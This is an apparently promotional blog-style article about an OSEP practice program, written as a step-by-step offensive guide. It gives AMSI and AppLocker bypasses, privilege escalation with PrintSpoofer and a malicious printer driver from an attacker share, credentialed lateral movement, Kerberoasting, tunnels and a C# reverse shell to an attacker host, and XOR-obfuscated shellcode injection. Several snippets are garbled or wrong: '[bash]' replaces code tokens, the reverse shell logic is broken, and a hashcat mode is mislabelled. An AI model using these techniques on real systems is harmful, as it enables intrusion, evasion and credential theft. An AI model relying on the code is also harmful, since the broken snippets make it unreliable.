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Introduction:
The Offensive Security Experienced Penetration Tester (OSEP) certification (formerly PEN-300) represents the gold standard for advanced red team operators, focusing on bypassing security controls, lateral movement, and Active Directory exploitation. To bridge the gap between theory and real-world attack simulations, Ignite Technologies has launched a CTF-based OSEP practice program that mirrors the exam’s rigorous, hands-on environment—covering everything from initial client-side attacks to custom malware development.
Learning Objectives:
- Execute advanced information gathering and client-side exploitation to breach hardened networks.
- Bypass modern security controls including AMSI, AppLocker, and EDR using evasion techniques.
- Perform Active Directory enumeration, lateral movement, and privilege escalation across Windows and Linux environments.
You Should Know:
1. Advanced Information Gathering & Reconnaissance
Step-by-step guide explaining what this does and how to use it:
OSEP-level recon goes beyond simple port scanning. Use multiple data sources to map the attack surface, including DNS enumeration, cloud metadata, and leaked credentials.
Linux commands:
Passive subdomain enumeration amass enum -passive -d target.com -o subdomains.txt Enumerate SMB shares without authentication smbclient -L //target-ip -N Gather user emails from LinkedIn/GitHub using theHarvester theHarvester -d target.com -l 500 -b linkedin,github -f harvest_output DNS zone transfer attempt dig axfr @ns1.target.com target.com
Windows (PowerShell) recon:
Discover live hosts and open SMB ports
1..254 | ForEach-Object {Test-NetConnection -ComputerName "192.168.1.$_" -Port 445 -WarningAction SilentlyContinue}
How to use: Combine passive recon results to build a target list. Prioritize hosts with exposed SMB, RDP, or web applications for initial access.
2. Bypassing AMSI and AppLocker for Client-Side Attacks
Step-by-step guide explaining what this does and how to use it:
Antimalware Scan Interface (AMSI) and AppLocker are common obstacles for script-based payloads. Use memory patching and alternate execution paths to evade detection.
PowerShell AMSI bypass (in-memory patch):
Patch AMSI by overwriting the amsiInitFailed function
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Bypass AppLocker using MSBuild.exe:
- Save C payload as a .csproj file and execute via:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.csproj
Linux alternative using donut shellcode generator:
Convert .NET executable to position-independent shellcode donut -f payload.exe -o shellcode.bin
How to use: Integrate AMSI patches into initial PowerShell one-liners. For constrained environments, leverage signed Microsoft binaries (MSBuild, InstallUtil) to run untrusted code.
- Windows Privilege Escalation – SeImpersonate & Print Spooler
Step-by-step guide explaining what this does and how to use it:
Abusing high-integrity privileges or vulnerable services to gain SYSTEM access.
Check current privileges:
whoami /priv
If SeImpersonatePrivilege is present, use PrintSpoofer:
PrintSpoofer64.exe -i -c cmd.exe
Exploiting Print Spooler (PrintNightmare style):
Add a remote printer driver that loads a malicious DLL Add-PrinterDriver -Name "EvilDriver" -DriverPath "\attacker\share\malicious.dll"
Detection:
List spooler services and registered drivers Get-Service -Name Spooler Get-PrinterDriver
How to use: After gaining user foothold, run `whoami /priv` and `systeminfo` to enumerate missing patches. Use PrintSpoofer for token impersonation or leverage unpatched spooler vulnerabilities on older builds.
- Lateral Movement with WMI and PsExec Over SMB
Step-by-step guide explaining what this does and how to use it:
Move laterally using native Windows administration protocols while avoiding detection.
WMI lateral movement (remote process creation):
Run command on remote host with credentials $Cred = Get-Credential Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "TARGET-PC" -Credential $Cred
PsExec from Sysinternals (using explicit credentials):
psexec \TARGET-PC -u DOMAIN\user -p password -s cmd.exe
Linux using impacket-wmiexec:
impacket-wmiexec DOMAIN/user:password@TARGET-IP
Evasion tip: Use PowerShell remoting (WinRM) with encrypted sessions:
New-PSSession -ComputerName TARGET-PC -Credential $Cred | Enter-PSSession
How to use: After compromising a domain user, enumerate available hosts via `net view` or BloodHound. Prefer WMI or WinRM over PsExec as they generate fewer security logs in default configurations.
- Active Directory Attacks – Kerberoasting & AS-REP Roasting
Step-by-step guide explaining what this does and how to use it:
Extract service account hashes for offline cracking or request Kerberos tickets without pre-authentication.
Kerberoasting with Rubeus (Windows):
Rubeus.exe kerberoast /outfile:hashes.txt /domain:target.com
Using Impacket (Linux):
impacket-GetUserSPNs target.com/user:password -request -outputfile hashes.txt
AS-REP Roasting (users without pre-auth):
impacket-GetNPUsers target.com/ -usersfile users.txt -format hashcat -outputfile asrephashes.txt
Cracking with Hashcat:
hashcat -m 13100 asrephashes.txt rockyou.txt hashcat -m 13100 kerberoast_hashes.txt rockyou.txt
How to use: Enumerate domain users with `Get-DomainUser` (PowerView) or ldapsearch. For Kerberoasting, focus on high-privilege service accounts (e.g., SQL, MSSQL, HTTP). AS-REP roasting requires no password—only a valid list of usernames.
- Tunneling & Pivoting – Chisel and SSH Reverse Port Forwarding
Step-by-step guide explaining what this does and how to use it:
Create encrypted tunnels through compromised hosts to reach internal networks.
Chisel (multi-platform, HTTP-based tunnel):
Attacker machine (server) chisel server --port 8080 --reverse Compromised host (client) – forward local port 3389 to attacker's 9001 chisel client attacker-ip:8080 R:9001:localhost:3389
SSH dynamic port forwarding (SOCKS proxy):
From compromised Linux host ssh -D 1080 -N -f user@attacker-ip Then route tools through SOCKS5 proxy proxychains nmap -sT -Pn internal-host
Windows SSH client tunneling (with OpenSSH installed):
ssh -L 4455:internal-smb-host:445 attacker@external-ip
Linux persistence with reverse port forwarding:
ssh -R 2222:localhost:22 attacker@external-ip -fN
How to use: After gaining a foothold, upload a static Chisel binary. For HTTP/HTTPS outbound restrictions, use Chisel’s HTTP mode. SSH tunnels are ideal for Linux-to-Linux pivoting but require outbound SSH.
7. Custom Malware & Tool Development with C
Step-by-step guide explaining what this does and how to use it:
Develop custom payloads to evade signature-based detection and implement C2 communication.
Basic C reverse shell (TCP socket):
using System.Net.Sockets;
using System.Diagnostics;
TcpClient client = new TcpClient("attacker-ip", 4444);
Process cmd = new Process();
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.Start();
cmd.StandardInput.Write(client.GetStream());
Encrypt shellcode with XOR before injection:
byte[] shellcode = { 0xfc, 0x48, ... };
byte key = 0xaa;
for (int i = 0; i < shellcode.Length; i++) shellcode[bash] ^= key;
// Then use VirtualAlloc, CopyMemory, CreateThread
Windows Defender bypass via dynamic invocation:
Load .NET assembly from memory without touching disk
$bytes = [System.IO.File]::ReadAllBytes("payload.exe")
How to use: Compile C payloads with `csc.exe` (framework 3.5/4.8). Use obfuscation tools like ConfuserEx or Obfuscar. Test against Windows Defender using AMSI bypasses. For C2, integrate with Covenant or custom TCP/HTTPS listeners.
What Undercode Say:
- Key Takeaway 1: CTF-based OSEP training bridges the gap between certification theory and real-world adversarial simulation—mastery of evasion, tunneling, and AD attacks is non-negotiable for red team success.
- Key Takeaway 2: Automating reconnaissance (Amass, theHarvester) and leveraging native Windows tools (WMI, PowerShell) for lateral movement reduces detection probability compared to third-party binaries.
- Analysis: The demand for OSEP-level skills is surging as organizations adopt EDR and Zero Trust. Candidates who can bypass AMSI, pivot through constrained networks, and develop custom C payloads will outcompete traditional pentesters. However, ethical boundaries must be strictly observed—these techniques are for authorized training only.
Prediction:
By 2027, OSEP-equivalent proficiency will become a baseline requirement for mid-level red team roles, replacing generic penetration testing certifications. Training programs like Ignite’s CTF-based approach will evolve into AI-driven adaptive labs that tailor attack scenarios to candidate weaknesses. Simultaneously, defensive platforms will embed TTP-based detection for the very techniques taught (Kerberoasting, Print Spooler abuse), forcing red teamers to constantly innovate their evasion tooling. The arms race between custom malware development and EDR telemetry will intensify, making continuous, hands-on practice the only path to staying relevant.
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